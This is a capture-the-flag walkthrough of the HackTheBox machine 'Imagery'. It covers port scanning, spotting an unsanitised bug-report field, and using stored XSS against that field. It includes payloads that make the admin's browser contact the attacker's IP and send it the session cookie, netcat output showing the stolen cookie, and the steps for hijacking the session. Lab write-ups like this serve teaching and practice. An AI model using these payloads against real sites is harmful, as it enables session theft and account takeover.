Nick Chua Logo
Boot2Root,  Web Security

Imagery | Medium | HackTheBox

Author

Nick Chua

Date Published

We will learn how to root Imagery from HackTheBox, a medium difficulty Linux machine.

Let us start off with our Nmap scan

1sudo nmap -v -p- -sC -sV 10.10.11.88 --open
2
3PORT STATE SERVICE VERSION
422/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
5| ssh-hostkey:
6| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
7|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
88000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
9| http-methods:
10|_ Supported Methods: GET HEAD OPTIONS
11|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
12|_http-title: Image Gallery
138001/tcp open http SimpleHTTPServer 0.6 (Python 3.12.7)
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let us visit http://10.10.11.88:8000

We will register for a user account and login. Once we have logged in, we can experiment with the different features such as the Upload function and the Report Bug feature.

Note that the Report Bug feature is only visible after we are logged it, hence it is important to be alert and test all features.

If we were to view the page source, we would observe an unusual amount of javascript on the page source. We can hit Ctrl-F and search for bugreport to locate the function which might be susceptible to cross-site scripting (XSS).

From line 2329, we noticed that the properties of the report were properly sanitised except ${report.details}

1async function loadBugReports() {
2 const bugReportsList = document.getElementById('bug-reports-list');
3 const noBugReports = document.getElementById('no-bug-reports');
4
5 if (!bugReportsList || !noBugReports) {
6 console.error("Error: Admin panel bug report elements not found.");
7 return;
8 }
9
10 bugReportsList.innerHTML = '';
11 noBugReports.style.display = 'none';
12
13 try {
14 const response = await fetch(`${window.location.origin}/admin/bug_reports`);
15 const data = await response.json();
16
17 if (data.success) {
18 if (data.bug_reports.length === 0) {
19 noBugReports.style.display = 'block';
20 } else {
21 data.bug_reports.forEach(report => {
22 const reportCard = document.createElement('div');
23 reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';
24
25 reportCard.innerHTML = `
26 <div>
27 <p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
28 <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
29 <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
30 <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
31 <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
32 ${report.details}
33 </div>
34 </div>
35 <button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
36 Delete
37 </button>
38 `;
39 bugReportsList.appendChild(reportCard);
40 });
41 }
42 } else {
43 showMessage(data.message, 'error');
44 }
45 } catch (error) {
46 console.error('Error loading bug reports:', error);
47 showMessage('Failed to load bug reports. Please try again later.', 'error');
48 }
49}

Whenever we submit a bug, it mentions that the admin would be reviewing it. This gives us an idea to weaponise this stored XSS vulnerability by stealing the session cookie of the admin.

Firstly, let us take a look at what happens when we submit the data Test XSS to both text boxes.

1{
2 "bugName":"Test XSS",
3 "bugDetails":"Test XSS"
4}

Our data is submitted in the form of a JSON. Hence, when weaponising our XSS payload, we have to make sure to escape special character like " which would affect the data represented in JSON.

Our simple PoC would be as follows

1{
2 "bugName":"Test XSS",
3 "bugDetails":"<img src=1 onerror=\"fetch('http://10.10.14.103:4444/')\">"
4}

Our netcat listener is then be able to catch the request because the admin has triggered the stored XSS payload

1┌──(nick㉿kali)-[~]
2└─$ nc -nlvp 4444
3listening on [any] 4444 ...
4connect to [10.10.14.103] from (UNKNOWN) [10.10.11.88] 53398
5GET / HTTP/1.1
6Host: 10.10.14.103:4444
7Connection: keep-alive
8User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36
9Accept: */*
10Origin: http://0.0.0.0:8000
11Referer: http://0.0.0.0:8000/
12Accept-Encoding: gzip, deflate
13Accept-Language: en-US,en;q=0.9

To get the admin session cookie, we can set our payload as follows

1{
2 "bugName":"Test XSS",
3 "bugDetails":"<img src=1 onerror=\"window.location='http://10.10.14.103:5555/?c='+document.cookie\">"
4}

Our netcat listener has successfully captured the admin session cookie

1┌──(nick㉿kali)-[~]
2└─$ nc -nlvp 8888
3listening on [any] 8888 ...
4connect to [10.10.14.103] from (UNKNOWN) [10.10.11.88] 58698
5GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aWYxNA.sfV2FjeOmwEe4tEveLmHrm-4EQE HTTP/1.1
6Host: 10.10.14.103:8888
7Connection: keep-alive
8Upgrade-Insecure-Requests: 1
9User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36
10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11Referer: http://0.0.0.0:8000/
12Accept-Encoding: gzip, deflate
13Accept-Language: en-US,en;q=0.9

We can copy and replace our current session cookie with the admin cookie by going to our browser and Right Click > Inspect > Storage > Cookies. Once we refresh the page, we can see the Admin Panel at the top right of the page.